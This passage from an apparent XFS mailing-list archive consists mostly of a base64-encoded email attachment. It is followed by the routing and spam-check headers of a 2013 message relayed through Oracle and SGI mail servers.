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 ------=_NextPart_000_0A96_01CEBA72.BC0BA180-- From jeff.liu@oracle.com Wed Sep 25 23:11:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F3A937F51 for ; Wed, 25 Sep 2013 23:11:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 73388AC004 for ; Wed, 25 Sep 2013 21:11:35 -0700 (PDT) X-ASG-Debug-ID: 1380168690-04cbb02c3a142b250001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 1o3kPOVsGIugCNy6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 25 Sep 2013 21:11:31 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8Q4BSjp011800 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 26 Sep 2013 04:11:29 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8Q4BRd4020941 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 26 Sep 2013 04:11:28 GMT Received: from abhmt119.oracle.com (abhmt119.oracle.com [141.146.116.71]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8Q4BRGi000278; Thu, 26 Sep 2013 04:11:27 GMT Received: from [192.168.1.104] (/123.119.99.55) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 25 Sep 2013 